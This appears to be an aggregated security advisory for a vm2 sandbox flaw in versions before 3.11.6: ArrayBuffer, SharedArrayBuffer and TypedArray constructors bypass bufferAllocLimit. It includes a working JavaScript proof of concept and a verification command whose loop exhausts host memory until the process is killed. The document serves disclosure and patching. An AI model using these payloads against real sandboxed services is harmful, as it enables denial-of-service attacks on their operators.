vm2 before 3.11.6 fails to enforce bufferAllocLimit on ArrayBuffer, SharedArrayBuffer, and TypedArray constructors, allowing attackers to allocate arbitrary host memory. Attackers can bypass the buffer allocation cap by using these V8 intrinsics to exhaust host process memory and trigger out-of-memory conditions.
vm2 before 3.11.6 fails to enforce bufferAllocLimit on ArrayBuffer, SharedArrayBuffer, and TypedArray constructors, allowing attackers to allocate arbitrary host memory. Attackers can bypass the buffer allocation cap by using these V8 intrinsics to exhaust host process memory and trigger out-of-memory conditions.
vm2 before 3.11.6 fails to enforce bufferAllocLimit on ArrayBuffer, SharedArrayBuffer, and TypedArray constructors, allowing attackers to allocate arbitrary host memory. Attackers can bypass the buffer allocation cap by using these V8 intrinsics to exhaust host process memory and trigger out-of-memory conditions.
### Summary:
The `bufferAllocLimit` defense (GHSA-6785-pvv7-mvg7) can be completely bypassed using `ArrayBuffer`, `SharedArrayBuffer`, or any `TypedArray` constructor. These allocate identical host-process RSS through the same V8/libuv C++ allocation path as `Buffer.alloc` but are not subject to the size cap.
### Details:
The `bufferAllocLimit` option (vm2 v3.11.0+) caps `Buffer.alloc`, `Buffer.allocUnsafe`, `Buffer.allocUnsafeSlow`, and the deprecated `Buffer(N)` / `new Buffer(N)` forms. The cap is enforced in `setup-sandbox.js` via `checkBufferAllocLimit()` (line 353-359).
However, `ArrayBuffer`, `SharedArrayBuffer`, `Uint8Array`, `Float64Array`, and all other TypedArray constructors are sandbox-realm V8 intrinsics that allocate host memory through the SAME underlying C++ path (`v8::ArrayBuffer::NewBackingStore` → `ArrayBufferAllocator::Allocate` → `calloc/malloc`). These constructors are NOT intercepted by the `bufferAllocLimit` defense.
A single `new ArrayBuffer(N)` call with a large `N` exhausts host RSS in one synchronous allocation that V8's `timeout` cannot interrupt.
### Environment:
- vm2 version: 3.11.3
- Node.js: v25.8.1 (affects all Node.js versions)
- Configuration: Default `new VM()` or any configuration including `bufferAllocLimit`
### POC:
```javascript
const { VM } = require('vm2');
// Operator sets bufferAllocLimit thinking they're protected:
const vm = new VM({ bufferAllocLimit: 10 * 1024 * 1024 }); // 10MB cap
// Buffer.alloc IS capped (as intended):
try { vm.run('Buffer.alloc(20 * 1024 * 1024)'); }
catch(e) { console.log('Buffer.alloc blocked:', e.message); }
// → "Buffer allocation size 20971520 exceeds bufferAllocLimit 10485760"
// But these BYPASS the cap entirely:
vm.run('new ArrayBuffer(1024 * 1024 * 1024)'); // 1GB allocated!
vm.run('new SharedArrayBuffer(1024 * 1024 * 1024)'); // 1GB allocated!
vm.run('new Uint8Array(1024 * 1024 * 1024)'); // 1GB allocated!
vm.run('new Float64Array(128 * 1024 * 1024)'); // 1GB allocated!
// OOM kill in constrained environments (Docker, K8s, Lambda):
vm.run('var a=[]; for(var i=0;i<100;i++) a.push(new ArrayBuffer(100*1024*1024))');
// → 10GB allocated → host OOM killed
```
**Verification:**
```bash
node -e '
const {VM} = require("./lib/main.js");
const vm = new VM({bufferAllocLimit: 10*1024*1024});
try { vm.run("Buffer.alloc(20*1024*1024)"); } catch(e) { console.log("Buffer BLOCKED"); }
console.log("ArrayBuffer:", vm.run("new ArrayBuffer(100*1024*1024).byteLength"), "bytes allocated");
console.log("SharedArrayBuffer:", vm.run("new SharedArrayBuffer(100*1024*1024).byteLength"), "bytes allocated");
'
# Output:
# Buffer BLOCKED
# ArrayBuffer: 104857600 bytes allocated
# SharedArrayBuffer: 104857600 bytes allocated
```
### Impact:
- **Type:** Denial of Service (Host Memory Exhaustion)
- **Attack Complexity:** Low
- **Availability Impact:** Complete, host process OOM killed in memory-constrained environments
- **Affected deployments:** Docker containers, Kubernetes pods, AWS Lambda, any environment with memory limits. Especially dangerous when operators explicitly set `bufferAllocLimit` believing they have DoS protection.
EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.
Original publisher date fields
datePublished: Sep 17, 2026, 1:46:17 PM
dateUpdated: Sep 21, 2026, 8:52:43 PM
7 related source bulletins · separate from aliases
RHSA-2026:82151: Red Hat Security Advisory: Ansible automation portal Red Hat Enterprise Linux Images
No normalized affected-package data is projected for this source revision. The original publisher record may contain additional product and version evidence; this does not establish that a package is unaffected.
NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.
Source analysis status: Deferred
Weakness classifications: CWE-770
Original publisher date fields
published: 2026-09-17T14:18:02.447
lastModified: 2026-09-21T21:17:17.057
No normalized affected-package data is projected for this source revision. The original publisher record may contain additional product and version evidence; this does not establish that a package is unaffected.